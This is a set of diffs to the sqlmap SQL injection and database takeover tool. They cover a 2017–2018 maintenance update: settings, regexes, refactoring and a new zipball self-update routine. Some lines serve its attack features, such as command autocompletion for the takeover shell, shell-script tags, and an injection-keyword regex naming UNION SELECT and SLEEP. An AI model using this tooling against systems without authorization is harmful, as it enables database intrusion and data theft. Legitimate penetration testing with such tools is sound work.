@@ -27,8 +27,9 @@ DESCRIPTION = "automatic SQL injection and database takeover tool"
 SITE = "http://sqlmap.org"
 DEV_EMAIL_ADDRESS = "[email protected]"
 ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new"
-GIT_REPOSITORY = "git://github.com/sqlmapproject/sqlmap.git"
+GIT_REPOSITORY = "https://github.com/sqlmapproject/sqlmap.git"
 GIT_PAGE = "https://github.com/sqlmapproject/sqlmap"
+ZIPBALL_PAGE = "https://github.com/sqlmapproject/sqlmap/zipball/master"

 # colorful banner
 BANNER = """\033[01;33m\
@@ -76,16 +77,19 @@ CHAR_INFERENCE_MARK = "%c"
 PRINTABLE_CHAR_REGEX = r"[^\x00-\x1f\x7f-\xff]"

 # Regular expression used for extraction of table names (useful for (e.g.) MsAccess)
-SELECT_FROM_TABLE_REGEX = r"\bSELECT .+? FROM (?P<result>([\w.]|`[^`<>]+`)+)"
+SELECT_FROM_TABLE_REGEX = r"\bSELECT\b.+?\bFROM\s+(?P<result>([\w.]|`[^`<>]+`)+)"

 # Regular expression used for recognition of textual content-type
 TEXT_CONTENT_TYPE_REGEX = r"(?i)(text|form|message|xml|javascript|ecmascript|json)"

 # Regular expression used for recognition of generic permission messages
-PERMISSION_DENIED_REGEX = r"(command|permission|access)\s*(was|is)?\s*denied"
+PERMISSION_DENIED_REGEX = r"(?P<result>(command|permission|access)\s*(was|is)?\s*denied)"
+
+# Regular expression used in recognition of generic protection mechanisms
+GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b"

 # Regular expression used for recognition of generic maximum connection messages
-MAX_CONNECTIONS_REGEX = r"max.+connections"
+MAX_CONNECTIONS_REGEX = r"\bmax.+?\bconnection"

 # Maximum consecutive connection errors before asking the user if he wants to continue
 MAX_CONSECUTIVE_CONNECTION_ERRORS = 15
@@ -193,8 +197,8 @@ UNKNOWN_DBMS = "Unknown"
 # String used for representation of unknown DBMS version
 UNKNOWN_DBMS_VERSION = "Unknown"

-# Dynamicity mark length used in dynamicity removal engine
-DYNAMICITY_MARK_LENGTH = 32
+# Dynamicity boundary length used in dynamicity removal engine
+DYNAMICITY_BOUNDARY_LENGTH = 20

 # Dummy user prefix used in dictionary attack
 DUMMY_USER_PREFIX = "__dummy__"
@@ -202,6 +206,11 @@ DUMMY_USER_PREFIX = "__dummy__"
 # Reference: http://en.wikipedia.org/wiki/ISO/IEC_8859-1
 DEFAULT_PAGE_ENCODING = "iso-8859-1"

+try:
+    unicode(DEFAULT_PAGE_ENCODING, DEFAULT_PAGE_ENCODING)
+except LookupError:
+    DEFAULT_PAGE_ENCODING = "utf8"
+
 # URL used in dummy runs
 DUMMY_URL = "http://foo/bar?id=1"

@@ -216,7 +225,7 @@ PYVERSION = sys.version.split()[0]
 MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb")
 MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema")
 PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent")
-ORACLE_SYSTEM_DBS = ("ANONYMOUS", "APEX_PUBLIC_USER", "CTXSYS", "DBSNMP", "DIP", "EXFSYS", "FLOWS_%", "FLOWS_FILES", "LBACSYS", "MDDATA", "MDSYS", "MGMT_VIEW", "OLAPSYS", "ORACLE_OCM", "ORDDATA", "ORDPLUGINS", "ORDSYS", "OUTLN", "OWBSYS", "SI_INFORMTN_SCHEMA", "SPATIAL_CSW_ADMIN_USR", "SPATIAL_WFS_ADMIN_USR", "SYS", "SYSMAN", "SYSTEM", "WKPROXY", "WKSYS", "WK_TEST", "WMSYS", "XDB", "XS$NULL")  # Reference: https://blog.vishalgupta.com/2011/06/19/predefined-oracle-system-schemas/ 
+ORACLE_SYSTEM_DBS = ('ANONYMOUS', 'APEX_030200', 'APEX_PUBLIC_USER', 'APPQOSSYS', 'BI', 'CTXSYS', 'DBSNMP', 'DIP', 'EXFSYS', 'FLOWS_%', 'FLOWS_FILES', 'HR', 'IX', 'LBACSYS', 'MDDATA', 'MDSYS', 'MGMT_VIEW', 'OC', 'OE', 'OLAPSYS', 'ORACLE_OCM', 'ORDDATA', 'ORDPLUGINS', 'ORDSYS', 'OUTLN', 'OWBSYS', 'PM', 'SCOTT', 'SH', 'SI_INFORMTN_SCHEMA', 'SPATIAL_CSW_ADMIN_USR', 'SPATIAL_WFS_ADMIN_USR', 'SYS', 'SYSMAN', 'SYSTEM', 'WKPROXY', 'WKSYS', 'WK_TEST', 'WMSYS', 'XDB', 'XS$NULL')
 SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master")
 ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2")
 FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS")
@@ -291,6 +300,10 @@ BASIC_HELP_ITEMS = (
    "wizard",
 )

+# Tags used for value replacements inside shell scripts
+SHELL_WRITABLE_DIR_TAG = "%WRITABLE_DIR%"
+SHELL_RUNCMD_EXE_TAG = "%RUNCMD_EXE%"
+
 # String representation for NULL value
 NULL = "NULL"

@@ -300,13 +313,16 @@ BLANK = "<blank>"
 # String representation for current database
 CURRENT_DB = "CD"

+# Name of SQLite file used for storing session data
+SESSION_SQLITE_FILE = "session.sqlite"
+
 # Regular expressions used for finding file paths in error messages
-FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"(?P<result>[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.-]+)", r"href=['\"]file://(?P<result>/[^'\"]+)")
+FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"in (?P<result>[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.~-]+)", r"href=['\"]file://(?P<result>/[^'\"]+)")

 # Regular expressions used for parsing error messages (--parse-errors)
 ERROR_PARSING_REGEXES = (
    r"<b>[^<]*(fatal|error|warning|exception)[^<]*</b>:?\s*(?P<result>.+?)<br\s*/?\s*>",
-    r"(?m)^(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
+    r"(?m)^\s*(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
    r"(?P<result>[^\n>]*SQL Syntax[^\n<]+)",
    r"<li>Error Type:<br>(?P<result>.+?)</li>",
    r"CDbCommand (?P<result>[^<>\n]*SQL[^<>\n]+)",
@@ -413,6 +429,9 @@ HASH_MOD_ITEM_DISPLAY = 11
 # Maximum integer value
 MAX_INT = sys.maxint

+# Replacement for unsafe characters in dump table filenames
+UNSAFE_DUMP_FILEPATH_REPLACEMENT = '_'
+
 # Options that need to be restored in multiple targets run mode
 RESTORE_MERGED_OPTIONS = ("col", "db", "dnsDomain", "privEsc", "tbl", "regexp", "string", "textOnly", "threads", "timeSec", "tmpPath", "uChar", "user")

@@ -479,7 +498,7 @@ PICKLE_REDUCE_WHITELIST = (types.BooleanType, types.DictType, types.FloatType, t
 DUMMY_SQL_INJECTION_CHARS = ";()'"

 # Simple check against dummy users
-DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b|\bSELECT\b.+\bFROM\b|\b(CONCAT|information_schema|SLEEP|DELAY)\b"
+DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b|\bSELECT\b.+\bFROM\b|\b(CONCAT|information_schema|SLEEP|DELAY|FLOOR\(RAND)\b"

 # Extensions skipped by crawler
 CRAWL_EXCLUDE_EXTENSIONS = ("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bk", "bmp", "btif", "bz2", "cab", "caf", "cgm", "cmx", "cpio", "cr2", "dat", "deb", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "eol", "eot", "epub", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "gz", "h261", "h263", "h264", "ico", "ief", "image", "img", "ipa", "iso", "jar", "jpeg", "jpg", "jpgv", "jpm", "jxr", "ktx", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "mxu", "nef", "npx", "o", "oga", "ogg", "ogv", "otf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rgb", "rip", "rlc", "rz", "s3m", "s7z", "scm", "scpt", "sgi", "shar", "sil", "smv", "so", "sub", "swf", "tar", "tbz2", "tga", "tgz", "tif", "tiff", "tlz", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "viv", "vob", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "z", "zip", "zipx")
@@ -520,6 +539,9 @@ ROTATING_CHARS = ('\\', '|', '|', '/', '-')
 # Approximate chunk length (in bytes) used by BigArray objects (only last chunk and cached one are held in memory)
 BIGARRAY_CHUNK_SIZE = 1024 * 1024

+# Compress level used for storing BigArray chunks to disk (0-9)
+BIGARRAY_COMPRESS_LEVEL = 9
+
 # Maximum number of socket pre-connects
 SOCKET_PRE_CONNECT_QUEUE_SIZE = 3

@@ -618,7 +640,7 @@ NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6
 MAX_CONNECTION_CHUNK_SIZE = 10 * 1024 * 1024

 # Maximum response total page size (trimmed if larger)
-MAX_CONNECTION_TOTAL_SIZE = 50 * 1024 * 1024
+MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024

 # For preventing MemoryError exceptions (caused when using large sequences in difflib.SequenceMatcher)
 MAX_DIFFLIB_SEQUENCE_LENGTH = 10 * 1024 * 1024
@@ -639,7 +661,7 @@ VALID_TIME_CHARS_RUN_THRESHOLD = 100
 CHECK_ZERO_COLUMNS_THRESHOLD = 10

 # Boldify all logger messages containing these "patterns"
-BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response")
+BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported")

 # Generic www root directory names
 GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "wwwroot", "www")
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -104,20 +104,20 @@ def autoCompletion(completion=None, os=None, commands=None):
        if os == OS.WINDOWS:
            # Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands
            completer = CompleterNG({
-                                      "copy": None, "del": None, "dir": None,
-                                      "echo": None, "md": None, "mem": None,
-                                      "move": None, "net": None, "netstat -na": None,
-                                      "ver": None, "xcopy": None, "whoami": None,
-                                    })
+                "copy": None, "del": None, "dir": None,
+                "echo": None, "md": None, "mem": None,
+                "move": None, "net": None, "netstat -na": None,
+                "ver": None, "xcopy": None, "whoami": None,
+            })

        else:
            # Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands
            completer = CompleterNG({
-                                      "cp": None, "rm": None, "ls": None,
-                                      "echo": None, "mkdir": None, "free": None,
-                                      "mv": None, "ifconfig": None, "netstat -natu": None,
-                                      "pwd": None, "uname": None, "id": None,
-                                    })
+                "cp": None, "rm": None, "ls": None,
+                "echo": None, "mkdir": None, "free": None,
+                "mv": None, "ifconfig": None, "netstat -natu": None,
+                "pwd": None, "uname": None, "id": None,
+            })

        readline.set_completer(completer.complete)
        readline.parse_and_bind("tab: complete")
@@ -1,14 +1,13 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

 import errno
 import os
 import subprocess
-import sys
 import time

 from lib.core.settings import IS_WIN
@@ -24,11 +23,6 @@ else:
    import select
    import fcntl

-    if (sys.hexversion >> 16) >= 0x202:
-        FCNTL = fcntl
-    else:
-        import FCNTL
-
 def blockingReadFromFD(fd):
    # Quick twist around original Twisted function
    # Blocking read from a non-blocking file descriptor
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -62,6 +62,7 @@ from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS
 from lib.core.settings import REFERER_ALIASES
 from lib.core.settings import RESTORE_MERGED_OPTIONS
 from lib.core.settings import RESULTS_FILE_FORMAT
+from lib.core.settings import SESSION_SQLITE_FILE
 from lib.core.settings import SUPPORTED_DBMS
 from lib.core.settings import UNENCODED_ORIGINAL_VALUE
 from lib.core.settings import UNICODE_ENCODING
@@ -141,7 +142,7 @@ def _setRequestParams():
                if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                    conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                    conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
-                    conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*"[^"]*)"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
+                    conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*".+?)"(?<!\\")', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
                    conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
                    conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
                    match = re.search(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data)
@@ -229,9 +230,9 @@ def _setRequestParams():
            if kb.customInjectionMark not in conf.data:  # in case that no usable parameter values has been found
                conf.parameters[PLACE.POST] = conf.data

-    kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in conf.data) else kb.processUserMarks
+    kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in (conf.data or "")) else kb.processUserMarks

-    if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and not kb.customInjectionMark in (conf.data or "") and conf.url.startswith("http"):
+    if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and kb.customInjectionMark not in (conf.data or "") and conf.url.startswith("http"):
        warnMsg = "you've provided target URL without any GET "
        warnMsg += "parameters (e.g. 'http://www.site.com/article.php?id=1') "
        warnMsg += "and without providing any POST parameters "
@@ -376,7 +377,7 @@ def _setRequestParams():
                if condition:
                    conf.parameters[PLACE.CUSTOM_HEADER] = str(conf.httpHeaders)
                    conf.paramDict[PLACE.CUSTOM_HEADER] = {httpHeader: "%s,%s%s" % (httpHeader, headerValue, kb.customInjectionMark)}
-                    conf.httpHeaders = [(header, value.replace(kb.customInjectionMark, "")) for header, value in conf.httpHeaders]
+                    conf.httpHeaders = [(_[0], _[1].replace(kb.customInjectionMark, "")) for _ in conf.httpHeaders]
                    testableParameters = True

    if not conf.parameters:
@@ -390,12 +391,15 @@ def _setRequestParams():
        raise SqlmapGenericException(errMsg)

    if conf.csrfToken:
-        if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % re.escape(conf.csrfToken), conf.data or "") and not conf.csrfToken in set(_[0].lower() for _ in conf.httpHeaders) and not conf.csrfToken in conf.paramDict.get(PLACE.COOKIE, {}):
+        if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % re.escape(conf.csrfToken), conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}):
            errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken
            errMsg += "found in provided GET, POST, Cookie or header values"
            raise SqlmapGenericException(errMsg)
    else:
        for place in (PLACE.GET, PLACE.POST, PLACE.COOKIE):
+            if conf.csrfToken:
+                break
+
            for parameter in conf.paramDict.get(place, {}):
                if any(parameter.lower().count(_) for _ in CSRF_TOKEN_PARAMETER_INFIXES):
                    message = "%s parameter '%s' appears to hold anti-CSRF token. " % (place, parameter)
@@ -403,7 +407,7 @@ def _setRequestParams():

                    if readInput(message, default='N', boolean=True):
                        conf.csrfToken = getUnicode(parameter)
-                    break
+                        break

 def _setHashDB():
    """
@@ -411,7 +415,7 @@ def _setHashDB():
    """

    if not conf.hashDBFile:
-        conf.hashDBFile = conf.sessionFile or os.path.join(conf.outputPath, "session.sqlite")
+        conf.hashDBFile = conf.sessionFile or os.path.join(conf.outputPath, SESSION_SQLITE_FILE)

    if os.path.exists(conf.hashDBFile):
        if conf.flushSession:
@@ -445,13 +449,10 @@ def _resumeHashDBValues():
    conf.tmpPath = conf.tmpPath or hashDBRetrieve(HASHDB_KEYS.CONF_TMP_PATH)

    for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []:
-        if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and \
-            injection.parameter in conf.paramDict[injection.place]:
-
+        if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and injection.parameter in conf.paramDict[injection.place]:
            if not conf.tech or intersect(conf.tech, injection.data.keys()):
                if intersect(conf.tech, injection.data.keys()):
                    injection.data = dict(_ for _ in injection.data.items() if _[0] in conf.tech)
-
                if injection not in kb.injections:
                    kb.injections.append(injection)

@@ -545,7 +546,7 @@ def _setResultsFile():
    if not conf.resultsFP:
        conf.resultsFilename = os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower())
        try:
-            conf.resultsFP = openFile(conf.resultsFilename, "w+", UNICODE_ENCODING, buffering=0)
+            conf.resultsFP = openFile(conf.resultsFilename, "a", UNICODE_ENCODING, buffering=0)
        except (OSError, IOError), ex:
            try:
                warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFilename, getUnicode(ex))
@@ -577,7 +578,7 @@ def _createFilesDir():

    if not os.path.isdir(conf.filePath):
        try:
-            os.makedirs(conf.filePath, 0755)
+            os.makedirs(conf.filePath)
        except OSError, ex:
            tempDir = tempfile.mkdtemp(prefix="sqlmapfiles")
            warnMsg = "unable to create files directory "
@@ -599,7 +600,7 @@ def _createDumpDir():

    if not os.path.isdir(conf.dumpPath):
        try:
-            os.makedirs(conf.dumpPath, 0755)
+            os.makedirs(conf.dumpPath)
        except OSError, ex:
            tempDir = tempfile.mkdtemp(prefix="sqlmapdump")
            warnMsg = "unable to create dump directory "
@@ -620,7 +621,7 @@ def _createTargetDirs():

    try:
        if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
-            os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
+            os.makedirs(paths.SQLMAP_OUTPUT_PATH)

        _ = os.path.join(paths.SQLMAP_OUTPUT_PATH, randomStr())
        open(_, "w+b").close()
@@ -650,7 +651,7 @@ def _createTargetDirs():

    try:
        if not os.path.isdir(conf.outputPath):
-            os.makedirs(conf.outputPath, 0755)
+            os.makedirs(conf.outputPath)
    except (OSError, IOError, TypeError), ex:
        try:
            tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -64,9 +64,6 @@ class _ThreadData(threading.local):

 ThreadData = _ThreadData()

-def getCurrentThreadUID():
-    return hash(threading.currentThread())
-
 def readInput(message, default=None, checkBatch=True, boolean=False):
    # It will be overwritten by original from lib.core.common
    pass
@@ -98,6 +95,9 @@ def exceptionHandledFunction(threadFunction, silent=False):
        if not silent:
            logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message))

+            if conf.verbose > 1:
+                traceback.print_exc()
+
 def setDaemon(thread):
    # Reference: http://stackoverflow.com/questions/190010/daemon-threads-explanation
    if PYVERSION >= "2.6":
@@ -188,6 +188,9 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
        kb.threadException = True
        logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message))

+        if conf.verbose > 1:
+            traceback.print_exc()
+
    except:
        from lib.core.common import unhandledExceptionMessage

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,25 +1,32 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

-import locale
+import glob
 import os
 import re
+import shutil
 import subprocess
+import sys
 import time
+import urllib
+import zipfile

 from lib.core.common import dataToStdout
 from lib.core.common import getSafeExString
 from lib.core.common import pollProcess
+from lib.core.common import readInput
 from lib.core.data import conf
 from lib.core.data import logger
 from lib.core.data import paths
 from lib.core.revision import getRevisionNumber
 from lib.core.settings import GIT_REPOSITORY
 from lib.core.settings import IS_WIN
+from lib.core.settings import ZIPBALL_PAGE
+from lib.core.settings import UNICODE_ENCODING

 def update():
    if not conf.updateAll:
@@ -28,11 +35,56 @@ def update():
    success = False

    if not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")):
-        errMsg = "not a git repository. Please checkout the 'sqlmapproject/sqlmap' repository "
-        errMsg += "from GitHub (e.g. 'git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap')"
-        logger.error(errMsg)
+        warnMsg = "not a git repository. It is recommended to clone the 'sqlmapproject/sqlmap' repository "
+        warnMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY
+        logger.warn(warnMsg)
+
+        message = "do you want to try to fetch the latest 'zipball' from repository and extract it (experimental) ? [y/N]"
+        if readInput(message, default='N', boolean=True):
+            directory = os.path.abspath(paths.SQLMAP_ROOT_PATH)
+
+            try:
+                open(os.path.join(directory, "sqlmap.py"), "w+b")
+            except Exception, ex:
+                errMsg = "unable to update content of directory '%s' ('%s')" % (directory, getSafeExString(ex))
+                logger.error(errMsg)
+            else:
+                for wildcard in ('*', ".*"):
+                    for _ in glob.glob(os.path.join(directory, wildcard)):
+                        try:
+                            if os.path.isdir(_):
+                                shutil.rmtree(_)
+                            else:
+                                os.remove(_)
+                        except:
+                            pass
+
+                if glob.glob(os.path.join(directory, '*')):
+                    errMsg = "unable to clear the content of directory '%s'" % directory
+                    logger.error(errMsg)
+                else:
+                    try:
+                        archive = urllib.urlretrieve(ZIPBALL_PAGE)[0]
+
+                        with zipfile.ZipFile(archive) as f:
+                            for info in f.infolist():
+                                info.filename = re.sub(r"\Asqlmap[^/]+", "", info.filename)
+                                if info.filename:
+                                    f.extract(info, directory)
+
+                        filepath = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py")
+                        if os.path.isfile(filepath):
+                            with open(filepath, "rb") as f:
+                                version = re.search(r"(?m)^VERSION\s*=\s*['\"]([^'\"]+)", f.read()).group(1)
+                                logger.info("updated to the latest version '%s#dev'" % version)
+                                success = True
+                    except Exception, ex:
+                        logger.error("update could not be completed ('%s')" % getSafeExString(ex))
+                    else:
+                        if not success:
+                            logger.error("update could not be completed")
    else:
-        infoMsg = "updating sqlmap to the latest development version from the "
+        infoMsg = "updating sqlmap to the latest development revision from the "
        infoMsg += "GitHub repository"
        logger.info(infoMsg)

@@ -42,7 +94,7 @@ def update():
        dataToStdout("\r[%s] [INFO] update in progress " % time.strftime("%X"))

        try:
-            process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=paths.SQLMAP_ROOT_PATH.encode(locale.getpreferredencoding()))  # Reference: http://blog.stastnarodina.com/honza-en/spot/python-unicodeencodeerror/
+            process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=paths.SQLMAP_ROOT_PATH.encode(sys.getfilesystemencoding() or UNICODE_ENCODING))
            pollProcess(process, True)
            stdout, stderr = process.communicate()
            success = not process.returncode
@@ -55,7 +107,7 @@ def update():
        else:
            if "Not a git repository" in stderr:
                errMsg = "not a valid git repository. Please checkout the 'sqlmapproject/sqlmap' repository "
-                errMsg += "from GitHub (e.g. 'git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap')"
+                errMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY
                logger.error(errMsg)
            else:
                logger.error("update could not be completed ('%s')" % re.sub(r"\W+", " ", stderr).strip())
@@ -68,7 +120,7 @@ def update():
            infoMsg += "download the latest snapshot from "
            infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads"
        else:
-            infoMsg = "for Linux platform it's required "
+            infoMsg = "for Linux platform it's recommended "
            infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt-get install git')"

        logger.info(infoMsg)
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -47,7 +47,7 @@ class Wordlist(object):
                    errMsg = "something appears to be wrong with "
                    errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex))
                    errMsg += "sure that you haven't made any changes to it"
-                    raise SqlmapInstallationException, errMsg
+                    raise SqlmapInstallationException(errMsg)
                if len(_.namelist()) == 0:
                    errMsg = "no file(s) inside '%s'" % self.current
                    raise SqlmapDataException(errMsg)
@@ -73,7 +73,7 @@ class Wordlist(object):
                errMsg = "something appears to be wrong with "
                errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex))
                errMsg += "sure that you haven't made any changes to it"
-                raise SqlmapInstallationException, errMsg
+                raise SqlmapInstallationException(errMsg)
            except StopIteration:
                self.adjust()
                retVal = self.iter.next().rstrip()
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

